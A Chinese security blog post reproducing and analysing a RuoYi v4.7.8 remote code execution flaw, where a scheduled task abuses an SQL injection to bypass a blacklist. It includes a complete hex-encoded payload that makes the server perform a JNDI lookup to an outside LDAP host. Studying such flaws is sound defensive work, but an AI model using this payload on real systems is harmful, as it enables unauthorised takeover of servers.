关注我们 ❤️,添加星标 🌟,一起学安全!
作者:0Fs47@Timeline Sec
本文字数:1392
阅读时长:2~4 mins
声明:仅供学习参考使用,请勿用作违法用途,否则后果自负
0x01 简介
RuoYi 是一个后台管理系统,基于经典技术组合(Spring Boot、Apache Shiro、MyBatis、Thymeleaf)主要目的让开发者注重专注业务,降低技术难度,从而节省人力成本,缩短项目周期,提高软件安全质量。
0x02 漏洞概述
RuoYi v4.7.8 若依后台管理系统通过定时任务调用 genTableServiceImpl 直接执行 sql 来更改定时任务内容,从而绕过黑白名单的限制,实现RCE。
0x03 影响版本
RuoYi v4.7.8
0x04 环境搭建
官网地址:http://ruoyi.vip
文档地址:https://doc.ruoyi.vip/ruoyi/document/hjbs.html
创建数据库 ry 并导入数据脚本 ry_2021xxxx.sql,quartz.sql
idea 载入项目,找到 ruoyi-admin\src\main\resources\application-druid.yml,修改数据库配置
然后运行 com.ruoyi.RuoYiApplication.java,出现如下图表示启动成功。
0x05 漏洞复现
本地搭建好环境,访问http://localhost/login
admin/amdin123 登录后台,首先创建一个任务 id100:
再另外创建一个任务,内容如下:
genTableServiceImpl.createTable('UPDATE sys_job SET invoke_target = 0x6a6....... WHERE job_id = 100;' )
SQL 语句中的 16 进制为我们要执行的代码:
javax.naming.InitialContext.lookup('ldap://xxxxx' )
创建任务 101
可以看到任务 100 已经更新为需要执行的代码
成功收到回显
0x06 漏洞分析
从复现的步骤可以看出,RCE 是由定时任务加上 SQL 注入造成的。
定时任务分析
定时任务添加:
定位到 com/ruoyi/quartz/controller/SysJobController#addSave 方法中,可以看到在添加定时任务前,对字符串进行了黑白名单的判断
当通过了上述条件后,则执行 com/ruoyi/quartz/service/impl/SysJobServiceImpl#insertJob,先将定时任务写入数据库
然后创建定时任务
然后就是定时任务执行逻辑,进入 com/ruoyi/quartz/util/AbstractQuartzJob#execute
继续跟进,进入 invokeMethod 方法
getInvokeTarget:调用目标字符串,获取数据库中 invoke_target 字段
getBeanName:获取 beanName
getMethodName:获取方法名
getMethodParams:获取参数名
然后判断是不是全限定类名,若不是则从 spring 容器中获取
继续跟进 invokeMethod 方法,利用反射执行方法
从上可分析出如下结果:
对象可以是 spring 容器中注册过的 bean,也可以指定 class 名称
若是 spring 容器中注册过的 bean,则可直接从 spring 容器中取出,若是指定 class 名称,则可以通过反射 newInstance()创建对象
SQL 注入分析
在 ruoyi 4.7.5 版本之前,后台接口
/tool/gen/createTable
处存在 sql 注入(CVE-2022-4566)
而 genTableService 的实现类是 GenTableServiceImpl
对应的 Mapper 语句
"createTable"> ${sql}
运行结果:
RCE 分析
根据上文可知,ruoyi 计划任务能调用 bean 或者 class 类,SQL 注入依赖于 GenTableServiceImpl#createTable。如果 GenTableServiceImpl 是 bean 对象,就可以直接调用 GenTableServiceImpl#createTable 执行 SQL 语句
在启动类中打印所有加载的 bean,其中包括 genTableServiceImpl
ConfigurableApplicationContext run = SpringApplication.run(RuoYiApplication.class, args); // 获取所有bean的名称 String[] beanDefinitionNames = run.getBeanDefinitionNames(); // 打印所有bean的名称for (String beanDefinitionName : beanDefinitionNames) { System.out.println(beanDefinitionName); }
于是可以调用 genTableServiceImpl.createTable 实现 sql 语句执行,所以 RCE 的思路:配合注入在 sys_job 数据表中直接插入恶意计划任务,即可不调用 addSave 方法添加计划任务内容,成功绕过黑白名单限制
细节:
在添加 SQL 定时任务时,可以通过 16 进制转换绕过黑名单检测
genTableServiceImpl.createTable('UPDATE sys_job SET invoke_target = 0x6a617661782e6e616d696e672e496e697469616c436f6e746578742e6c6f6f6b757028276c6461703a2f2f797670307a662e646e736c6f672e636e2729 WHERE job_id = 100;' )
成功调用 genTableServiceImpl.createTable 方法
成功修改
执行代码